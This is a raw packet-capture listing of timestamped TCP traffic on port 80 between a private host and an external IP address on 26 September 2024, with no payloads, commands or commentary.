Sep 26, 2024 21:33:06.928570986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.928580046 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.928587914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.928596973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.928603888 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.928611994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.928620100 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.928627968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.928628922 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.928673983 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.962631941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.962750912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.962752104 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.962766886 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.962851048 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.962851048 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.962943077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.962954998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.962965965 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.962976933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.962996006 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.963022947 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.963068008 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.975552082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.975573063 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.975584030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.975660086 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.975666046 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.975680113 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.975691080 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.975729942 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.976005077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976016045 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976051092 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.976166964 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976208925 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.976362944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976375103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976406097 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.976428032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.976556063 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976567984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976578951 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976589918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976599932 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.976600885 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.976625919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.976661921 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.980864048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.980879068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.980889082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.980936050 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.980971098 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.980998039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.981009007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.981045008 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.981050014 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.981062889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.981081009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.981091022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.981095076 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.981134892 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.990768909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.990786076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.990797997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.990839958 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.990873098 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.991044998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991056919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991097927 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.991102934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991115093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991126060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991152048 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.991190910 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.991358995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991380930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991399050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991403103 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.991410971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991420984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991430998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991442919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991442919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.991453886 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991465092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.991492987 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.991522074 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.992348909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992360115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992368937 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992379904 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992391109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992400885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992408037 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.992412090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992439032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992449999 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992451906 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.992460012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992470980 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992480040 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992487907 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.992491961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992501974 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992512941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992513895 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.992522955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992533922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.992541075 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.992569923 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.993231058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993242979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993252039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993261099 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993271112 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993280888 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993283033 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.993295908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993305922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993308067 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.993316889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993325949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993335962 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993345022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993354082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993359089 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.993365049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.993382931 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.993407965 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026032925 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026051998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026063919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026145935 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026180983 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026194096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026206017 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026218891 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026231050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026240110 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026288986 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026314020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026325941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026335955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026346922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026355982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026362896 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026366949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026376963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026386976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026390076 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026397943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026436090 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026459932 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026777029 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026787996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026798010 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026808023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026818037 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026829004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026829004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026839972 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026851892 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026861906 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026871920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026881933 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026882887 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026896954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026905060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.026915073 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.026943922 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.027183056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.027225971 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.027312994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.027323961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.027359009 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.027390957 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.027403116 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.027412891 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.027424097 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.027432919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.027436018 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.027481079 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.066402912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.066420078 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.066436052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.066447973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.066457987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.066468954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.066478968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.066509962 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.066576958 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.066788912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.066833973 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.076913118 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.076937914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.076948881 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.076958895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.076968908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.076978922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.076988935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.077033043 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.077069998 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.077189922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.077244997 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.077302933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.077313900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.077325106 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.077334881 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.077346087 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.077382088 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.077440977 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.077455044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.077495098 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.080313921 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.080354929 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.080368042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.080369949 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.080415964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.080461979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.080472946 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.080482960 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.080493927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.080512047 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.080537081 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.089570999 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.089589119 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.089601994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.089636087 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.089669943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.089708090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.089720011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.089730978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.089742899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.089754105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.089759111 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.089787006 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.089807034 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090178967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090192080 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090204954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090221882 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090233088 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090243101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090243101 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090254068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090257883 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090265989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090276003 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090286970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090297937 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090308905 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090318918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090327978 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090375900 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090550900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090569973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090611935 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090615988 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090629101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090641022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090652943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090683937 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090728998 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090893030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090945959 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.090971947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090986013 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.090996981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091012955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091022015 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.091027021 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091048956 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.091087103 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.091285944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091298103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091309071 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091320038 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091330051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091341019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091344118 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.091352940 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091362000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091372967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091388941 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.091392994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091408968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091418982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091418982 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.091433048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091444969 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.091499090 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.091947079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091960907 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091972113 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.091981888 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.092001915 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.092021942 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.120703936 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.120784998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.120795012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.120811939 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.120820999 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.120831966 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.120839119 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.120867968 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.120919943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.121355057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121366978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121376991 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121388912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121402979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121412039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121417999 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.121423960 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121436119 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121437073 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.121447086 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121505022 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.121675968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121689081 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121700048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121730089 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.121746063 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.121803999 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121814966 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121825933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121853113 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.121889114 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:07.121942997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121954918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121964931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:07.121974945 CEST	80	49713	185.215.113.16	192.168.2.5
